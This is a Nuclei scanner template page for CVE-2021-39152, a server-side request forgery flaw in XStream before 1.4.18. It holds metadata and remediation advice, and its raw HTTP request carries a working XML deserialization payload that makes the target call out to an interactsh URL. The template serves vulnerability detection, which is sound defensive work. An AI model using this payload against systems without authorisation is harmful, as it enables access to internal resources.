XStream <1.4.18 - Server-Side Request Forgery

ID: CVE-2021-39152

Severity: high

Author: pwnhxl

Tags: cve2021,cve,xstream,ssrf,oast,xstream_project

Description

XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2021-39152

info:
  name: XStream <1.4.18 - Server-Side Request Forgery
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.
  remediation: |
    Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.
  reference:
    - https://x-stream.github.io/CVE-2021-39152.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/cve-2021-39152
    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39152
    cwe-id: CWE-502
    epss-score: 0.01242
    epss-percentile: 0.85465
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,ssrf,oast,xstream_project

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.runtime.Source_-URLData>
              <url>http://{{interactsh-url}}/internal/</url>
              <cs>GBK</cs>
              <hash>1111</hash>
              <array>b</array>
              <length>0</length>
              <lastModified>0</lastModified>
            </jdk.nashorn.internal.runtime.Source_-URLData>
            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
          </entry>
          <entry>
            <jdk.nashorn.internal.runtime.Source_-URLData>
              <url>http://{{interactsh-url}}/internal/</url>
              <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
              <hash>1111</hash>
              <array>b</array>
              <length>0</length>
              <lastModified>0</lastModified>
            </jdk.nashorn.internal.runtime.Source_-URLData>
            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
# digest: 4a0a004730450220741ed8c5d760796dd701345b0c3fc3a4ef02a722f29bcb025d98ee83241d97b4022100d79f3b294fc1a22d2e965b2a08e6efb8a4229eddf33b13bd52a70a1cc97d7853:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39152.yaml"

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